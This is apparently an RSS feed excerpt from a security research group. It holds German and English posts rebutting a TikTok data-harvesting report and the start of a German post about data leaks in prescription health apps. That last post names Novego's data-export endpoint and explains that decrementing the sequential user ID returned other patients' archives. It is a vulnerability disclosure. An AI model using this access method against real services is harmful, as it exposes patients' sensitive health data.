&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/tiktok-internet-20/marker.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/tiktok-internet-20/marker.png&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;hr&gt;
&lt;p&gt;Hier wurden nur Code-Ausschnitte wild markiert – ohne dass klar ist, ob und wann dieser Teil des Codes überhaupt jemals genutzt wird. Hier braucht es Kontext: Entweder durch eine längere Argumentation am Quellcode oder nachweislich bösartiges Verhalten, während die App läuft.&lt;/p&gt;
&lt;video playsinline autoplay loop muted&gt;
    &lt;source src=&#34;https://zerforschung.org/p/tiktok-internet-20/FX8yrSqXgAEt_oC.webm&#34; type=&#34;video/webm&#34;&gt;
    &lt;source src=&#34;https://zerforschung.org/p/tiktok-internet-20/FX8yrSqXgAEt_oC.mp4&#34; type=&#34;video/mp4&#34;&gt;
&lt;/video&gt;
&lt;hr&gt;
&lt;ol start=&#34;2&#34;&gt;
&lt;li&gt;Datensammelei&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Hier stellt der Report selbst fest, dass die Analyse nicht genau genug war, um irgendwas nachzuweisen.
Aber behaupten kann man es ja mal 🤷🙃&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://zerforschung.org/p/tiktok-internet-20/FX8rZqnXEAAEQoS.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/tiktok-internet-20/FX8rZqnXEAAEQoS.png&#34; alt=&#34;Device Data
TikTok also has potential to harvest an excessive amount of data about the device, it is important to note that due to limitations with dynamic analysis it is not currently possible to determine if any of this data is ever taken from the device, however, the Android application has code that can gather the following additional device details. See figures 10-12
• Wi-Fi SSID
• Device build serial number
• SIM serial number
• Integrated Circuit Card Identification Number (this is global unique serial number that is
specifically tailored to your SIM card)
• Device IMEI
• Device MAC address
• Device line number
• Device voicemail number
• GPS status information (updates on the GPS location)
• Active subscription information
• All accounts on the device
• Complete access to read the clipboard (dangerous as password managers use
clipboards)&#34;/&gt;&lt;/a&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Um einige dieser Daten abzurufen, bräuchte die App zusätzliche Berechtigungen – die sie weder hat noch bekommen will: Für IMEI, IMSI, SIM/build serial number und weitere braucht man die Permissions &amp;ldquo;READ_PHONE_STATE&amp;rdquo; bzw. &amp;ldquo;READ_PRIVILEGED_PHONE_STATE&amp;rdquo;.
&lt;a href=&#34;https://source.android.com/devices/tech/config/device-identifiers&#34;&gt;https://source.android.com/devices/tech/config/device-identifiers&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;p/tiktok-internet-20/FX8vytlXwAABwX-.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/tiktok-internet-20/FX8vytlXwAABwX-.jpg&#34; alt=&#34;Device Identifiers 
Android 10 changes the permissions for device identifiers so that all device identifiers are now protected by the READ_PRIVILEGED_PHONE_STATE permission. Prior to Android 10, persistent device identifiers (IMEI/MEID, IMSI, SIM, and build serial) were protected behind the READ_PHONE_STATE runtime permission. The READ_PRIVILEGED_PHONE_STATE permission is only granted to apps signed with the platform key and privileged system apps.&#34;/&gt;&lt;/a&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;ol start=&#34;3&#34;&gt;
&lt;li&gt;Verbindungen zu chinesischen IPs&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Hier fehlt dem Report jegliche Tiefe, um beurteilen zu können, was das bedeutet. Aus technischer Sicht ist es Quatsch, nur anhand einer IP-Adresse den Standort der Server bestimmen zu wollen – ohne Einblicke in die Infrastruktur des Hosters.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/tiktok-internet-20/FX8xttFXoAA8fLH.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/tiktok-internet-20/FX8xttFXoAA8fLH.png&#34;
         alt=&#34;CD-Cover: &amp;amp;lsquo;Die drei ??? und die mysteriöse IP-Spur&amp;amp;rsquo;. Im Bild ist ein grün leuchtendes Handy mit einer China-Flagge, dessen Schatten das TikTok-Logo zeigt.&#34;/&gt;&lt;/a&gt;&lt;figcaption&gt;
            &lt;p&gt;CD-Cover: &amp;lsquo;Die drei ??? und die mysteriöse IP-Spur&amp;rsquo;. Im Bild ist ein grün leuchtendes Handy mit einer China-Flagge, dessen Schatten das TikTok-Logo zeigt.&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;hr&gt;
&lt;p&gt;Das Unternehmen, zu dem die IP angeblich gehört, bietet allgemein Cloud-Lösungen an: &lt;a href=&#34;https://intl.baishancloud.com/&#34;&gt;https://intl.baishancloud.com/&lt;/a&gt;
Nur mit der Information über die IP kann man nicht ohne Weiteres darauf schließen, wo die Server stehen, wofür TikTok diese nutzt, wer tatsächlich Daten bekommt etc.&lt;/p&gt;
&lt;hr&gt;
&lt;ol start=&#34;4&#34;&gt;
&lt;li&gt;Zusammenfassung&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Dem Bericht fehlt technische Tiefe und sinnvolle Informationen. Hier wurden großteils Ausgaben automatischer Tools unhinterfragt wiedergekäut.
Das macht noch keine Analyse. Diese Tools liefern nur Hinweise, welche Stellen man genauer anschauen sollte.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Aber es braucht nochmal viel händische Arbeit, um die gefunden Stellen genau zu analysieren und zu bewerten.
Wir haben zum Spaß eine datenschutz-freundliche E-Mail-App in einen dieser Scanner hochgeladen und analysieren lassen. Heraus kam:&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/tiktok-internet-20/FX8ykMYXwAAlUpa.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/tiktok-internet-20/FX8ykMYXwAAlUpa.png&#34;
         alt=&#34;App Security Score: 29/100 (CRITICAL RISK) – Grade: F&#34;/&gt;&lt;/a&gt;&lt;figcaption&gt;
            &lt;p&gt;App Security Score: 29/100 (CRITICAL RISK) – Grade: F&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;hr&gt;
&lt;p&gt;Es ist ein Problem, dass Reports in dieser Form veröffentlicht werden. Denn der Report richtet sich nicht an ein technisches Publikum, das die Fehler direkt erkennen kann, sondern an &amp;ldquo;policy makers and legislators to make evidence-based decisions&amp;rdquo;&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/tiktok-internet-20/FX8y5j7WIAMBJ6Q.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/tiktok-internet-20/FX8y5j7WIAMBJ6Q.jpg&#34;
         alt=&#34;Screenshot der Executive Summary: &amp;amp;lsquo;This report is for policy makers and legislators to make evidence-based decisions&amp;amp;rsquo;&#34;/&gt;&lt;/a&gt;&lt;figcaption&gt;
            &lt;p&gt;Screenshot der Executive Summary: &amp;lsquo;This report is for policy makers and legislators to make evidence-based decisions&amp;rsquo;&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;hr&gt;
&lt;p&gt;Und bei denen kann nicht allgemein davon ausgegangen werden, dass sie es technisch durchdringen. Stattdessen bleiben die aufgebauschten Behauptungen hängen und beeinflussen Entscheidungen. Sowas führt auch zu solch seltsamen Schritten wie Trumps TikTok-Verbot.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Hier wären auch große Medien wie @derspiegel in der Pflicht, solche Behauptungen kritisch zu überprüfen, statt sie direkt mit einer clickbaity Schlagzeile zu übernehmen.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Natürlich muss man TikTok kritisch sehen! Umso wichtiger sind gute Analysen der Probleme – von Sicherheitslücken über Datenschutzverletztungen bis zum Geschäftsmodell. Denn diese ermöglichen einen gesellschaftlichen Diskurs – irreführende Pseudo-&amp;ldquo;Analysen&amp;rdquo; schaden diesem.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Die Autor*innen dieses Reports sind im Übrigen nicht unbekannt: Schon vor 2 Jahren veröffentlichten sie als &amp;ldquo;Penetrum&amp;rdquo; einen genauso fragwürdigen Report zu TikTok und auch damals sind schon große Medien darauf angesprungen.&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://www.derstandard.de/story/2000118441169/loescht-diese-app-dringendst-immer-mehr-warnungen-zu-tiktok&#34;&gt;https://www.derstandard.de/story/2000118441169/loescht-diese-app-dringendst-immer-mehr-warnungen-zu-tiktok&lt;/a&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Transparenzhinweis: Auch wir benutzen TikTok. Folgt uns unter &lt;a href=&#34;https://tiktok.com/@zerforschung&#34;&gt;https://tiktok.com/@zerforschung&lt;/a&gt;&lt;/p&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	Wenn ihr zerforschung unterstützen wollt, findet ihr hier Möglichkeiten: &lt;a href=&#34;https://zerforschung.org/unterstuetzen/&#34;&gt;https://zerforschung.org/unterstuetzen/&lt;/a&gt;
&lt;/div&gt;</description>
    </item>
    
    <item>
      <title>Please create good tiktok(-analyse)s</title>
      <link>https://zerforschung.org/posts/tiktok-internet-20-en/</link>
      <pubDate>Mon, 18 Jul 2022 14:45:00 +0200</pubDate>
      
      <guid>https://zerforschung.org/posts/tiktok-internet-20-en/</guid>
      <description>&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	&lt;a href=&#34;https://zerforschung.org/posts/tiktok-internet-20/&#34;&gt;Dieser Artikel ist auch auf deutsch erschienen.&lt;/a&gt;
&lt;/div&gt;
&lt;p&gt;Once again a report about TikTok &lt;a href=&#34;https://www.abc.net.au/news/2022-07-18/tiktok-users-warned-the-platform-is-harvesting-personal-data/13977370&#34;&gt;is going around&lt;/a&gt;. We have read it carefully: It&amp;rsquo;s mostly nonsense. Let&amp;rsquo;s have a look at the claims one after the other&lt;/p&gt;
&lt;blockquote class=&#34;twitter-tweet&#34; data-dnt=&#34;true&#34; data-align=&#34;center&#34;&gt;&lt;p lang=&#34;en&#34; dir=&#34;ltr&#34;&gt;A shocking new report today outlines just how far TikTok goes to harvest personal data from its users, data that some fear could be used by China for intelligence and cyber hacking. &lt;a href=&#34;https://twitter.com/hashtag/TheProjectTV?src=hash&amp;amp;ref_src=twsrc%5Etfw&#34;&gt;#TheProjectTV&lt;/a&gt; &lt;a href=&#34;https://t.co/cHkR1bwTdK&#34;&gt;pic.twitter.com/cHkR1bwTdK&lt;/a&gt;&lt;/p&gt;&amp;mdash; The Project (@theprojecttv) &lt;a href=&#34;https://twitter.com/theprojecttv/status/1548962230741487617?ref_src=twsrc%5Etfw&#34;&gt;July 18, 2022&lt;/a&gt;&lt;/blockquote&gt; &lt;script async src=&#34;https://platform.twitter.com/widgets.js&#34; charset=&#34;utf-8&#34;&gt;&lt;/script&gt;
&lt;hr&gt;
&lt;ol start=&#34;0&#34;&gt;
&lt;li&gt;To promote the report, the analysis company says, among other things: &amp;ldquo;TIKTOK IS NOT COMPATIBLE WITH OUR APPROACH TO PRIVACY&amp;rdquo;. Oh really? To get the report, you have to provide your first name, phone number and email address. Exciting &amp;ldquo;approach to privacy&amp;rdquo;&amp;hellip;  🤔&lt;/li&gt;
&lt;/ol&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/tiktok-internet-20/FX8pgZ6WQAEAnd3.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/tiktok-internet-20/FX8pgZ6WQAEAnd3.png&#34;
         alt=&#34;Download form with request for First Name, Email Address and Phone NumberDownloadformular mit Abfrage von First Name, Email Address und Phone Number&#34;/&gt;&lt;/a&gt;&lt;figcaption&gt;
            &lt;p&gt;Download form with request for First Name, Email Address and Phone NumberDownloadformular mit Abfrage von First Name, Email Address und Phone Number&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;hr&gt;
&lt;p&gt;To keep your data protected, you can also read the report in the Internet Archive: &lt;a href=&#34;https://archive.org/details/tik-tok-technical-analysis-17-jul-2022.-media-release&#34;&gt;https://archive.org/details/tik-tok-technical-analysis-17-jul-2022.-media-release&lt;/a&gt; #ServiceTweet&lt;/p&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li&gt;User Permissions and Third-Party Data Access&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Here they automatically generated a list of all permissions that the TikTok app can get:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/tiktok-internet-20/FX8pq3RWIAMEsXO.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/tiktok-internet-20/FX8pq3RWIAMEsXO.jpg&#34;
         alt=&#34;List of permissions on Android: read and write external storage, access coarse location, authenticate accounts, camera, get tasks, read calendar, read contacts, record audio, system alert window, write calendar&#34;/&gt;&lt;/a&gt;&lt;figcaption&gt;
            &lt;p&gt;List of permissions on Android: read and write external storage, access coarse location, authenticate accounts, camera, get tasks, read calendar, read contacts, record audio, system alert window, write calendar&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/tiktok-internet-20/FX8pky0XgAEZeIc.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/tiktok-internet-20/FX8pky0XgAEZeIc.jpg&#34;
         alt=&#34;List of permissions on ios: access apple media library, access calndars, access the camera, access contacts, access location inforamtion when app is in the foreground, access microphone, access the users photo library&#34;/&gt;&lt;/a&gt;&lt;figcaption&gt;
            &lt;p&gt;List of permissions on ios: access apple media library, access calndars, access the camera, access contacts, access location inforamtion when app is in the foreground, access microphone, access the users photo library&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Two things are important for this:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Most of these permissions have to be explicitly confirmed by the users again. You probably know the &amp;ldquo;Allow access to contacts?&amp;rdquo; dialog.&lt;/li&gt;
&lt;li&gt;For (almost) all of them it is quite easy to explain why TikTok needs this:&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;p&gt;Camera &amp;amp; Audio recording: Well, it&amp;rsquo;s a video app.
Calendar: you can have livestreams added to your calendar
Contacts: You can find people from the address book
Photo access: You can use pictures from the photo gallery in the videos&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;The report wrongly says that the app asks for access to contacts in an endless loop if you deny it. This is not true: although the app asks every now and then during use, you can always refuse and continue using the app without any problems.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;For other permissions, there is even less evidence: Here, the &amp;ldquo;analysts&amp;rdquo; claim with reference to screenshots that these permissions are maliciously exploited. But the screenshots do not show that at all.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/tiktok-internet-20/marker.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/tiktok-internet-20/marker.png&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;hr&gt;
&lt;p&gt;Here they just added wild annotations to code snippets - without it being clear if and when this part of the code is ever used. More context would be required to proof that: either a longer argument on the source code, or by showing malicious behavior while the app is running.&lt;/p&gt;
&lt;video playsinline autoplay loop muted&gt;
    &lt;source src=&#34;https://zerforschung.org/p/tiktok-internet-20/FX8yrSqXgAEt_oC.webm&#34; type=&#34;video/webm&#34;&gt;
    &lt;source src=&#34;https://zerforschung.org/p/tiktok-internet-20/FX8yrSqXgAEt_oC.mp4&#34; type=&#34;video/mp4&#34;&gt;
&lt;/video&gt;
&lt;hr&gt;
&lt;ol start=&#34;2&#34;&gt;
&lt;li&gt;Device and user data harvesting&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Here the report itself states that the analysis was not accurate enough to prove anything.
But of course they still claim it 🤷🙃&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://zerforschung.org/p/tiktok-internet-20/FX8rZqnXEAAEQoS.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/tiktok-internet-20/FX8rZqnXEAAEQoS.png&#34; alt=&#34;Device Data
TikTok also has potential to harvest an excessive amount of data about the device, it is important to note that due to limitations with dynamic analysis it is not currently possible to determine if any of this data is ever taken from the device, however, the Android application has code that can gather the following additional device details. See figures 10-12
• Wi-Fi SSID
• Device build serial number
• SIM serial number
• Integrated Circuit Card Identification Number (this is global unique serial number that is
specifically tailored to your SIM card)
• Device IMEI
• Device MAC address
• Device line number
• Device voicemail number
• GPS status information (updates on the GPS location)
• Active subscription information
• All accounts on the device
• Complete access to read the clipboard (dangerous as password managers use
clipboards)&#34;/&gt;&lt;/a&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;To retrieve some of this data, the app would need additional permissions - which it neither has nor wants to get: For IMEI, IMSI, SIM/build serial number and others, you need the permissions &amp;ldquo;READ_PHONE_STATE&amp;rdquo; or &amp;ldquo;READ_PRIVILEGED_PHONE_STATE&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://source.android.com/devices/tech/config/device-identifiers&#34;&gt;https://source.android.com/devices/tech/config/device-identifiers&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;p/tiktok-internet-20/FX8vytlXwAABwX-.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/tiktok-internet-20/FX8vytlXwAABwX-.jpg&#34; alt=&#34;Device Identifiers 
Android 10 changes the permissions for device identifiers so that all device identifiers are now protected by the READ_PRIVILEGED_PHONE_STATE permission. Prior to Android 10, persistent device identifiers (IMEI/MEID, IMSI, SIM, and build serial) were protected behind the READ_PHONE_STATE runtime permission. The READ_PRIVILEGED_PHONE_STATE permission is only granted to apps signed with the platform key and privileged system apps.&#34;/&gt;&lt;/a&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;ol start=&#34;3&#34;&gt;
&lt;li&gt;Connections to mainland China&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Here the report lacks any depth to be able to judge what this means. From a technical point of view, it is nonsense to try to determine the location of servers based only on an IP address - without insight into the hoster&amp;rsquo;s infrastructure.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/tiktok-internet-20/three-en.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/tiktok-internet-20/three-en.jpg&#34;
         alt=&#34;CD-Cover: &amp;amp;lsquo;The three investigators and the mysterious IP&amp;amp;rsquo;. A green gloing phone with the flag of china, whichs shadow shows the TikTok-Logo&#34;/&gt;&lt;/a&gt;&lt;figcaption&gt;
            &lt;p&gt;CD-Cover: &amp;lsquo;The three investigators and the mysterious IP&amp;rsquo;. A green gloing phone with the flag of china, whichs shadow shows the TikTok-Logo&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;hr&gt;
&lt;p&gt;The company to which the IP allegedly belongs offers cloud solutions in general: &lt;a href=&#34;https://intl.baishancloud.com/&#34;&gt;https://intl.baishancloud.com/&lt;/a&gt;
Just with the information about the IP, one cannot conclude where the servers are located, what TikTok uses them for, who actually gets data, etc.&lt;/p&gt;
&lt;hr&gt;
&lt;ol start=&#34;4&#34;&gt;
&lt;li&gt;Conclusion&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The report lacks technical depth and meaningful information. Most of the output of automatic tools has been regurgitated without question.
That does not make an analysis. These tools only provide hints, which places should be looked at more closely.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;But it needs again a lot of manual work to analyze and evaluate the found places exactly.
For fun, we uploaded a privacy-friendly email app to one of these scanners and had it analyzed. This was the result:&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/tiktok-internet-20/FX8ykMYXwAAlUpa.png&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/tiktok-internet-20/FX8ykMYXwAAlUpa.png&#34;
         alt=&#34;App Security Score: 29/100 (CRITICAL RISK) – Grade: F&#34;/&gt;&lt;/a&gt;&lt;figcaption&gt;
            &lt;p&gt;App Security Score: 29/100 (CRITICAL RISK) – Grade: F&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;hr&gt;
&lt;p&gt;It is a problem that reports are published in this form, because the report is not aimed at a technical audience that can see the flaws directly, but at &amp;ldquo;policy makers and legislators to make evidence-based decisions&amp;rdquo;.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/tiktok-internet-20/FX8y5j7WIAMBJ6Q.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/tiktok-internet-20/FX8y5j7WIAMBJ6Q.jpg&#34;
         alt=&#34;Screenshot der Executive Summary: &amp;amp;lsquo;This report is for policy makers and legislators to make evidence-based decisions&amp;amp;rsquo;&#34;/&gt;&lt;/a&gt;&lt;figcaption&gt;
            &lt;p&gt;Screenshot der Executive Summary: &amp;lsquo;This report is for policy makers and legislators to make evidence-based decisions&amp;rsquo;&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;hr&gt;
&lt;p&gt;And those can&amp;rsquo;t generally be assumed to get through it technically. Instead, the inflated claims stick and influence decisions. Such things also lead to such strange moves as Trump&amp;rsquo;s TikTok ban.
Big media outlets would be in duty to critically check such claims instead of taking them directly with a clickbaity headline.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Of course we have to criticise TikTok! All the more important are good analyses of the problems - from security gaps to data protection violations to the business model. Because these enable a social discourse - misleading pseudo-&amp;ldquo;analyses&amp;rdquo; harm it.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;By the way, the authors of this report are not unknown: Already 2 years ago they published an equally questionable report as &amp;ldquo;Penetrum&amp;rdquo; and also had big media outlets jumping on it.&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://www.derstandard.de/story/2000118441169/loescht-diese-app-dringendst-immer-mehr-warnungen-zu-tiktok&#34;&gt;https://www.derstandard.de/story/2000118441169/loescht-diese-app-dringendst-immer-mehr-warnungen-zu-tiktok&lt;/a&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Transparency note: We also use TikTok. Follow us at &lt;a href=&#34;https://tiktok.com/@zerforschung&#34;&gt;https://tiktok.com/@zerforschung&lt;/a&gt;&lt;/p&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	If you like what we do and want to support us, you can check out our &lt;a href=&#34;https://zerforschung.org/unterstuetzen/&#34;&gt;support page&lt;/a&gt;.
&lt;/div&gt;</description>
    </item>
    
    <item>
      <title>Datenabfluss auf Rezept</title>
      <link>https://zerforschung.org/posts/datenabfluss-auf-rezept/</link>
      <pubDate>Thu, 16 Jun 2022 05:00:00 +0200</pubDate>
      
      <guid>https://zerforschung.org/posts/datenabfluss-auf-rezept/</guid>
      <description>&lt;figure&gt;&lt;img src=&#34;https://zerforschung.org/p/datenabfluss-auf-rezept/rezept_kasse_datenabfluss.png&#34;
         alt=&#34;Kassenrezept für Datenabfluss unterschrieben von Jens Spahn und Karl Lauterbach&#34;/&gt;
&lt;/figure&gt;

&lt;p&gt;Impotenz? Gibt&amp;rsquo;s eine App für!&lt;/p&gt;
&lt;p&gt;Depression? Schau dir ein paar Videos an!&lt;/p&gt;
&lt;p&gt;Sinnlose Apps, die unfassbar teuer sind? Frag deine Krankenkasse!&lt;/p&gt;
&lt;p&gt;Ein Glück, dass wir im 21. Jahrhundert leben und es für jedes Krankheitsbild die passende App gibt. Seit Oktober 2020 gibt&amp;rsquo;s die auch auf Rezept, die &lt;a href=&#34;https://diga.bfarm.de&#34;&gt;&lt;em&gt;Digitalen Gesundheits-Anwendungen&lt;/em&gt;&lt;/a&gt;, oder kurz: &lt;em&gt;DiGAs&lt;/em&gt;. Vielen Dank dafür an Jens Spahn. *hust*&lt;/p&gt;
&lt;p&gt;Seit rund 1,5 Jahren können Unternehmen damit Apps entwickeln, die Ärzt*innen dann ihren Patient*innen verschreiben. Doch wie bei so vielen anderen Vorhaben zeigt sich auch hier einmal wieder: Digitalisierung löst nicht alle Probleme – sie schafft viel mehr ganz neue.&lt;/p&gt;
&lt;p&gt;Und da &lt;em&gt;wir&lt;/em&gt; einen Text über DiGAs schreiben, könnt ihr euch denken, welche Sorte von Problemen wir meinen: Die wenigen Digitalen Gesundheits-Anwendungen, die wir angeschaut haben, hatten massiven Datenabfluss. Insgesamt haben sie Daten von mehr als 20.000 Patient*innen verloren.&lt;/p&gt;
&lt;h2 id=&#34;doch-was-machen-diese-digas-eigentlich&#34;&gt;Doch was machen diese DiGAs eigentlich?&lt;/h2&gt;
&lt;p&gt;Digitale Gesundheits-Anwendungen gibt es aktuell von etwa zwanzig verschiedenen Anbietern für die verschiedensten gesundheitlichen Probleme. Von Depression bis Erektionsstörung, von Tinnitus bis Krebs. Die Inhalte reichen von Tagebüchern zur Rauchentwöhnung über Videos zur Rückenvorsorge bis hin zu Chatberatung mit Ernährungsexpert*innen.&lt;/p&gt;
&lt;p&gt;Die von der vorigen Regierung eingeführte Gesetzgebung macht es sehr einfach, solche Apps zu entwickeln. Daher werden es jeden Monat mehr. Das lohnt sich natürlich vor allem für die App-Hersteller. Immerhin bekommen diese für jede Verschreibung ihrer App gutes Geld: etwa 200 bis 700 Euro – pro Quartal.&lt;/p&gt;
&lt;h2 id=&#34;wird-schon-nichts-passieren&#34;&gt;Wird schon nichts passieren?&lt;/h2&gt;
&lt;p&gt;Doch was heißt, die Gesetzgebung macht es &amp;ldquo;sehr einfach&amp;rdquo; solche Apps zu entwickeln?
Im Bereich der DiGA wird größtenteils den Herstellern vertraut: Es gibt zwar eine Checkliste, auf der viele gute Sachen stehen – aber ob die Selbsteinschätzung der Hersteller tatsächlich stimmt, wird nur in Ausnähmefällen kontrolliert.&lt;/p&gt;
&lt;p&gt;Weitere Überprüfungen werden erst schrittweise eingeführt. Eine erste seit April 2022, der Rest kommt nächstes Jahr.&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Doch was ist, wenn die armen kleinen Apps krank sind? Dafür gibt&amp;rsquo;s Menschen wie uns, die sich das genauer anschauen. Und glaubt uns: Das ist kein schöner Job! Wir hatten in den vergangenen Monaten einiges zu tun. Denn die Genesungsprozesse von verrenkten Apps dauern außergewöhnlich lange. Wir geben exklusive Einblicke in die Diagnoseprotokolle.&lt;/p&gt;
&lt;h2 id=&#34;novego----diagnoseprotokoll&#34;&gt;Novego &amp;ndash; Diagnoseprotokoll&lt;/h2&gt;
&lt;div class=&#34;shortcode-buerokratie-formular&#34;&gt;
	&lt;div class=&#34;shortcode-buerokratie-formular-field&#34;&gt;
	&lt;div class=&#34;shortcode-buerokratie-formular-title&#34;&gt;Name:&lt;/div&gt;
	&lt;div class=&#34;shortcode-buerokratie-formular-content&#34;&gt;&lt;a href=&#34;https://www.novego.de/&#34;&gt;Novego&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&#34;shortcode-buerokratie-formular-field&#34;&gt;
	&lt;div class=&#34;shortcode-buerokratie-formular-title&#34;&gt;Lebensraum:&lt;/div&gt;
	&lt;div class=&#34;shortcode-buerokratie-formular-content&#34;&gt;Zulassung zur &lt;a href=&#34;https://diga.bfarm.de/de/verzeichnis/1110&#34;&gt;Behandlung von Depressionen&lt;/a&gt;. Novego behandelt Menschen mit Depression mittels &amp;ldquo;Methoden der kognitiven Verhaltenstherapie&amp;rdquo; in Form von Texten, Videos, Audios und interaktiven Übungen.&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&#34;shortcode-buerokratie-formular-field&#34;&gt;
	&lt;div class=&#34;shortcode-buerokratie-formular-title&#34;&gt;Diagnose:&lt;/div&gt;
	&lt;div class=&#34;shortcode-buerokratie-formular-content&#34;&gt;Schwerwiegender Datenabfluss von allen bei Novego angemeldeten Nutzer*innen, insgesamt knapp 10.000 Accounts, nach der Registrierung im Webportal&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&#34;shortcode-buerokratie-formular-field&#34;&gt;
	&lt;div class=&#34;shortcode-buerokratie-formular-title&#34;&gt;Ausführliche Beschreibung des Krankheitsbilds:&lt;/div&gt;
	&lt;div class=&#34;shortcode-buerokratie-formular-content&#34;&gt;&lt;p&gt;Die DSGVO schreibt vor, dass alle Apps eine Exportfunktion für die persönlichen Daten haben müssen – also auch Digitale Gesundheitsanwendungen. Das steht auch in &lt;a href=&#34;https://www.bfarm.de/SharedDocs/Downloads/DE/Medizinprodukte/diga_leitfaden.pdf?__blob=publicationFile#page=67&#34;&gt;der DiGA-Richtlinie&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Daran hält sich auch das Exemplar &amp;ldquo;Novego&amp;rdquo; und bietet eine Möglichkeit an, die eigenen Daten herunterzuladen. Doch wirklich nur die eigenen? Nein! Natürlich nicht.&lt;/p&gt;
&lt;p&gt;Wenn wir unsere eigenen Daten herunterzuladen, ruft die Website den Endpunkt &lt;code&gt;https://www.novego.com/myaccount/participant/data-export/export/21378&lt;/code&gt; auf. Als Antwort bekommen wir dann eine andere URL, von der wir dann nach ein paar Sekunden unser Daten-Archiv abrufen können.&lt;/p&gt;
&lt;p&gt;Nun können sich die treuen Leser*innen schon denken, was als nächstes passiert: &lt;code&gt;21378&lt;/code&gt; ist unsere Nutzer*innen-ID.
Also probieren wir, was passiert, wenn man eine etwas kleinere Zahl eingibt.
Und richtig: Wir bekommen das Archiv einer anderen Person.
Denn die ID ist eine laufende Nummer, die jedes mal um eins hochgezählt wird, wenn ein neuer Account angelegt wird.&lt;/p&gt;
